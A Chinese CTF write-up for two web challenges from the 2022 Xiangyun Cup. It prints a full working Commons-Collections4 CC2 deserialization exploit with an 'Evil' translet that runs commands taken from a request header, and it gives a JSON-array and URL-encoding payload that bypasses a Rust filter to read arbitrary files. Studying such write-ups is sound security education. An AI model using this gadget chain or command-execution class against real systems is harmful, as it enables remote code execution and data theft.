2022祥云杯初赛
ezjava
直接查看依赖,含有commons-collections4依赖
cc2
不出网的恶意类构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| package cc2;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.lang.reflect.Method; import java.util.Scanner;
public class Evil extends AbstractTranslet { @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} public Evil() throws Exception{ Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder"); Method m = c.getMethod("getRequestAttributes"); Object o = m.invoke(null); c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes"); m = c.getMethod("getResponse"); Method m1 = c.getMethod("getRequest"); Object resp = m.invoke(o); Object req = m1.invoke(o); Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter"); Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class); getHeader.setAccessible(true); getWriter.setAccessible(true); Object writer = getWriter.invoke(resp); String cmd = (String)getHeader.invoke(req, "cmd"); String[] commands = new String[3]; String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8"; if (System.getProperty("os.name").toUpperCase().contains("WIN")) { commands[0] = "cmd"; commands[1] = "/c"; } else { commands[0] = "/bin/sh"; commands[1] = "-c"; } commands[2] = cmd; writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\\A").next()); writer.getClass().getDeclaredMethod("flush").invoke(writer); writer.getClass().getDeclaredMethod("close").invoke(writer); } }
|
网上找个cc2的链子,简单修改下,exp.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| package cc2;
import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.Base64; import java.util.PriorityQueue;
public class cc2 { public static void main(String[] args) throws Exception { ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.getCtClass("cc2.Evil");
byte[] bytes = ctClass.toBytecode();
Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{}); Object TemplatesImpl_instance = constructor.newInstance(); Field bytecodes = aClass.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(TemplatesImpl_instance, new byte[][]{bytes}); Field name = aClass.getDeclaredField("_name"); name.setAccessible(true); name.set(TemplatesImpl_instance, "TestTemplatesImpl");
InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null); TransformingComparator transformer_comparator = new TransformingComparator(transformer); PriorityQueue queue = new PriorityQueue(2); queue.add(1); queue.add(1);
Field field = queue.getClass().getDeclaredField("comparator"); field.setAccessible(true); field.set(queue, transformer_comparator);
field = queue.getClass().getDeclaredField("queue"); field.setAccessible(true); Object[] objects = new Object[]{TemplatesImpl_instance, TemplatesImpl_instance}; field.set(queue, objects);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close();
byte[] aaa = serialize(queue); System.out.println(Base64.getEncoder().encodeToString(aaa));
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object object = ois.readObject(); } public static byte[] serialize(Object o) throws Exception{ try(ByteArrayOutputStream baout = new ByteArrayOutputStream(); ObjectOutputStream oout = new ObjectOutputStream(baout)){ oout.writeObject(o); return baout.toByteArray(); } } }
|
修改CT,header添加cmd: cat /flag
,获得flag
RustWaf
比赛没做出来,赛后复现下
主要功能在/readfile路由,会将post的信息作为参数body调用rust程序
在本地运行,进行了一点修改,主要逻辑不变
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| use std::env; use serde::{Deserialize, Serialize}; use serde_json::Value;
static BLACK_PROPERTY: &str = "protocol";
#[derive(Debug, Serialize, Deserialize)] struct File{ #[serde(default = "default_protocol")] pub protocol: String, pub href: String, pub origin: String, pub pathname: String, pub hostname:String }
pub fn default_protocol() -> String { "http".to_string() }
pub fn waf(body: &str) -> String { if body.to_lowercase().contains("flag") || body.to_lowercase().contains("proc"){ return String::from("1111111111"); } if let Ok(json_body) = serde_json::from_str::<Value>(body) { if let Some(json_body_obj) = json_body.as_object() { if json_body_obj.keys().any(|key| key == BLACK_PROPERTY) { return String::from("22222222222222"); } } if let Ok(file) = serde_json::from_str::<File>(body) { return serde_json::to_string(&file).unwrap_or(String::from("3333333333333")); } } else{ return String::from(body); } return String::from("444444444444444"); }
fn main() { let args: Vec<String> = env::args().collect(); println!("{}", waf(&args[1])); }
|
首先将将参数传入waf函数
首先将字符串转小写,判断是否含有flag
和proc
字符串
而后尝试转换为json对象,对键值判断是否含有BLACK_PROPERTY
(也就是protocol)
然后将其作为struct对象反序列化,将其返回,经过调试,返回的字符串大致为{"protocol":"file:","href":"1","origin":"1","pathname":"/D:\\projects\\fl%61g.txt","hostname":""}
这个样子
而后js程序将其返回的字符串尝试转化为json数据,而后使用readFileSync读取
我们看fs.readFileSync
的函数定义,其参数是可以整一个URL类对象的
我们会发现URL类的属性和题目给的File结构体极其相似
所以之前通过let Ok(file) = serde_json::from_str::<File>(body)
来反序列化,得到
1
| {"protocol":"file:","href":"1","origin":"1","pathname":"/D:\\projects\\fl%61g.txt","hostname":""}
|
但是要过两个waf,一个是对flag和proc字符串的过滤,另一个对键的过滤,不能包括BLACK_PROPERTY(也就是protocol)
前者可以通过url编码绕过
1 2 3 4
| > fs.readFileSync(new URL("file:///app/flag.txt")).toString() 'corctf{test_flag}' > fs.readFileSync(new URL("file:///app/fl%61g.txt")).toString() 'corctf{test_flag}'
|
后者可以通过传array格式来绕过,不用传递key,从而绕过对protocol的检测
payload,注意修改CT为application/json
1 2 3 4 5 6 7
| [ "file:", "1", "1", "/D:\\projects\\fl%61g.txt", "" ]
|
自己还是太菜了,继续加油学(ง •_•)ง
参考链接
- [exp10it/2022 祥云杯 Web Writeup.md at 3f9366ccdc301a4917e2c41a8f08686d8308014d · X1r0z/exp10it (github.com)](https://github.com/X1r0z/exp10it/blob/3f9366ccdc301a4917e2c41a8f08686d8308014d/content/posts/Web/Writeup/2022 祥云杯 Web Writeup.md)
- corCTF 2022 Challenges (brycec.me)
- File system | Node.js v19.0.0 Documentation (nodejs.org)
- 2022 第三届“祥云杯” writeup by Arr3stY0u (qq.com)